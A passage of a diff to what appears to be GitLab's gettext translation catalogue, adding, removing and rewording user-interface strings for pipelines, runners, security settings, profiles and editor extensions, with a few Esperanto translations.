+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr "Peti atingeblon"
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr "kreos pasvorton"
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
